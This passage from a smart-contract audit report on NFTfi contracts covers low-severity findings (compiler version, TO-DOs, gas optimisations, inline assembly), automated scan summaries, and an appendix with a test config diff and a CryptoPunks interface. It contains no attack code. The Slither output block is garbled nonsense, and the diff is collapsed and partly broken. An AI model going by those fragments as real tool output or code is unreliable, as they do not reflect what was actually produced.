# 3.7 (HAL-07) SOLC 0.8.4 COMPILER VERSION CONTAINS MULTIPLE BUGS - INFORMATIONAL

#### Description:

Several scoped contracts have configured the fixed pragma set to 0.8.4. The latest solidity compiler version, 0.8.19, fixed important bugs in the compiler along with new native protections. The current version is missing the following fixes: 0.8.5, 0.8.6, 0.8.7, 0.8.8, 0.8.9, 0.8.12, 0.8.13, 0.8.14, 0.8.15, 0.8.16, 0.8.17, 0.8.18, 0.8.19.

The official Solidity's recommendations are that you should use the latest released version of Solidity when deploying contracts. Apart from exceptional cases, only the newest version receives security fixes.

#### Risk Level:

Likelihood - 1 Impact - 2

#### Recommendation:

It is recommended to use the latest Solidity compiler version as possible.

#### Remediation Plan:

SOLVED: The NFTfi team solved this issue by upgrading pragma.

COMMIT ID: 387a66526c489bf6d1d1ef397cd4c70763f1fa42

## 3.8 (HAL-08) OPEN TO-DOS - INFORMATIONAL

#### Description:

Open TO-DOs can point to architecture or programming issues that still need to be resolved. Often these kinds of comments indicate areas of complexity or confusion for developers. This provides value and insight to an attacker who aims to cause damage to the protocol.

Code Location:

```
Listing 19: src/DelegationRecipes.sol (Line 39)

33 function add(
34 address _collection,
35 address[] calldata _contracts,
36 bytes4[] calldata _selectors,
37 string[] calldata _descriptions
38 ) external onlyOwner {
39 // TODO - validate arity
```

```
Listing 20: src/DelegationRecipes.sol (Line 67)

62 function remove(
63 address _collection,
64 address[] calldata _contracts,
65 bytes4[] calldata _selectors
66 ) external onlyOwner {
67 // TODO - validate arity
```

Risk Level:

Likelihood - 1 Impact - 1

#### Recommendation:

Consider resolving the TO-DOs before deploying code to a production context. Use an independent issue tracker or other project management software to track development tasks.

#### Remediation Plan:

SOLVED: The NFTfi team solved this issue by resolving to-dos.

**COMMIT ID:** 8f36def1bb1db52ae9b63cae7aee5128383eb937

# 3.9 (HAL-09) USE ++I INSTEAD OF I++ IN LOOPS FOR GAS OPTIMIZATION - INFORMATIONAL

#### Description:

In the loops below, the variable i is incremented using i++. It is known that, in loops, using ++i costs less gas per iteration than i++. This also affects variables incremented inside the loop code block.

Code Location:

```
Listing 21: src/AllowedControllers.sol (Line 49)

46 for (uint256 i; i < length; ) {
47    _setLockControllerAllowance(_lockControllers[i], true);
48    unchecked {
49         i++;
50    }
51 }
```

```
Listing 23: src/AllowedControllers.sol (Line 90)

87 for (uint256 i; i < length; ) {
88    _setLockControllerAllowance(_controllers[i], _allowances[i]);
89    unchecked {
90         i++;
91    }
```

```
92 }
```

#### Risk Level:

Likelihood - 1 Impact - 1

#### Recommendation:

It is recommended to use ++i instead of i++ to increment the value of an uint variable inside a loop. This does not only apply to the iterator

variable. It also applies to increments done inside the loop code block.

#### Remediation Plan:

**SOLVED**: The NFTfi team solved this issue by following the aforementioned recommendations.

#### COMMIT IDs:

- 803dfb566c43efb5538656aa1fe2e93e7188eb98
- 8b6c202e24069fdfbee52479749e2f3a4f17ba52

## 3.10 (HAL-10) USE OF INLINE ASSEMBLY - INFORMATIONAL

#### Description:

Inline assembly is a way to access the Ethereum Virtual Machine at a low level. This discards several important safety features of Solidity, and the static compiler. Due to the fact that the EVM is a stack machine, it is often hard to address the correct stack slot and provide arguments to opcodes at the correct point on the stack. Solidity's inline assembly tries to facilitate that and other issues arising when writing manual assembly. Assembly is much more difficult to write because the compiler does not perform checks, so the developer of the contract should be aware of this warning.

#### Code Location:

#### Risk Level:

Likelihood - 1 Impact - 1

#### Recommendation:

The contracts should avoid using inline assembly because it interacts with the EVM (Ethereum Virtual Machine) at a low level. An attacker

could bypass many essential safety features of Solidity.

#### Remediation Plan:

**SOLVED:** The NFTfi team solved this issue by following the aforementioned recommendations.

**COMMIT ID:** dd74d4a1f8422df381e0eb80435c49745843d6ad

# 3.11 (HAL-11) USE CUSTOM ERRORS INSTEAD OF REVERT STRINGS TO SAVE GAS - INFORMATIONAL

#### Description:

Failed operations in several contracts (DirectLoanFixedOfferExternalEscrow and parents) are reverted with an accompanying message selected from a set of hardcoded strings.

In the EVM, emitting a hardcoded string in an error message costs ~50 more gas than emitting a custom error. Additionally, hardcoded strings increase the gas required to deploy the contract.

#### Risk Level:

Likelihood - 1 Impact - 1

#### Recommendation:

Custom errors are available from Solidity version 0.8.4 up. Consider replacing all revert strings with custom errors.

#### Remediation Plan:

**SOLVED**: The NFTfi team solved this issue by changing errors with custom errors.

**COMMIT ID:** 2f793c06e4526baa9b772495e604dc18ceef6305

## AUTOMATED TESTING

### 4.1 STATIC ANALYSIS REPORT

#### Description:

Halborn used automated testing techniques to enhance the coverage of certain areas of the smart contracts in scope. Among the tools used was Slither, a Solidity static analysis framework. After Halborn verified the smart contracts in the repository and was able to compile them correctly into their ABIs and binary format, Slither was run against the contracts. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' APIs across the entire code-base.

#### Results:

```
Restricts (alls)

Stema (alls)

Stema (alls)

Fine (stema (alls)
```

- Reentrancies are false positives.
- No major issues found by Slither.

### 4.2 AUTOMATED SECURITY SCAN

#### Description:

Halborn used automated security scanners to assist with detection of well-known security issues and to identify low-hanging fruits on the targets for this engagement. Among the tools used was MythX, a security analysis service for Ethereum smart contracts. MythX performed a scan on the smart contracts and sent the compiled results to the analyzers to locate any vulnerabilities.

#### MythX results:

No major issues found by MythX.

## APPENDIX

### 5.1 ADDITIONAL CODE

Config.sol diffing patch:

Listing 27: Diffing between Config.sol and ConfigPOC.sol 1 diff --git a/Config.sol b/ConfigPOC.sol 2 index d608782..f1c6bf6 100755 3 --- a/Config.sol 4 +++ b/ConfigPOC.sol 5 @@ -3,6 +3,8 @@ pragma solidity 0.8.17; import "forge-std/Test.sol"; 9 +import { ICryptoPunksMarket } from "./ICryptoPunksMarket.sol"; 11 import { DelegationOwner } from "src/DelegationOwner.sol"; 12 import { DelegationGuard } from "src/DelegationGuard.sol"; 13 import { DelegationWalletFactory } from "src/ 14 @@ -18,7 +20,7 @@ import { Enum } from "@gnosis.pm/safe-contracts/ 15 import { UpgradeableBeacon } from "@openzeppelin/contracts/proxy/ beacon/UpgradeableBeacon.sol"; 16 import { ECDSA } from "@openzeppelin/contracts/utils/cryptography 18 -contract Config is Test { 19 +contract ConfigPOC is Test { bytes32 public constant GUARD\_STORAGE\_SLOT = 0 uint256 public kakarotoKey = 2; 23 @@ -44,7 +46,7 @@ contract Config is Test { address public compatibilityFallbackHandler = 0 TestNft public testNft; TestPunks public testPunks; TestNftPlatform public testNftPlatform; TestNftPlatform public testPunksPlatform;

ICryptoPunksMarket.sol interface:

```
Listing 28: ICryptoPunksMarket.sol

1 pragma solidity >=0.7.0 <0.9.0;

2
3 interface ICryptoPunksMarket {
4  function name() external view returns (string memory);

5
6  function punksOfferedForSale(uint256)
7  external
8  view
9  returns (
10  bool isForSale,
11  uint256 punkIndex,
12  address seller,
13  uint256 minValue,
14  address onlySellTo
15 );
16
17  function enterBidForPunk(uint256 punkIndex) external payable;
18
```

```
function totalSupply() external view returns (uint256);
      function acceptBidForPunk(uint256 punkIndex, uint256 minPrice)
   external;
      function decimals() external view returns (uint8);
      function setInitialOwners(
          address[] memory addresses,
          uint256[] memory indices
      ) external;
      function withdraw() external;
      function imageHash() external view returns (string memory);
      function nextPunkIndexToAssign() external view returns (
\rightarrow uint256);
      function punkIndexToAddress(uint256) external view returns (

    address);
      function standard() external view returns (string memory);
      function punkBids(uint256)
          external
          view
          returns (
              bool hasBid,
              address bidder,
              uint256 value
          );
      function balanceOf(address) external view returns (uint256);
      function allInitialOwnersAssigned() external;
      function allPunksAssigned() external view returns (bool);
      function buyPunk(uint256 punkIndex) external payable;
      function transferPunk(address to, uint256 punkIndex) external;
```

```
function symbol() external view returns (string memory);
      function withdrawBidForPunk(uint256 punkIndex) external;
      function setInitialOwner(address to, uint256 punkIndex)

    external:
      function offerPunkForSaleToAddress(
          uint256 punkIndex,
          uint256 minSalePriceInWei,
           address toAddress
      ) external;
      function punksRemainingToAssign() external view returns (
\rightarrow uint256);
      function offerPunkForSale(uint256 punkIndex, uint256

    minSalePriceInWei)

          external;
      function getPunk(uint256 punkIndex) external;
      function pendingWithdrawals(address) external view returns (

    uint256);
      function punkNoLongerForSale(uint256 punkIndex) external;
      event Assign(address indexed to, uint256 punkIndex);
      event Transfer(address indexed from, address indexed to,

    uint256 value);
      event PunkTransfer(
          address indexed to,
          uint256 punkIndex
      );
      event PunkOffered(
          uint256 minValue,
           address indexed toAddress
      );
      event PunkBidEntered(
          uint256 indexed punkIndex,
          uint256 value,
          address indexed fromAddress
```

```
99 );
100 event PunkBidWithdrawn(
101 uint256 indexed punkIndex,
102 uint256 value,
103 address indexed fromAddress
104 );
105 event PunkBought(
106 uint256 indexed punkIndex,
107 uint256 value,
108 address indexed fromAddress,
109 address indexed toAddress
110 );
111 event PunkNoLongerForSale(uint256 indexed punkIndex);
112 }
113
```

THANK YOU FOR CHOOSING

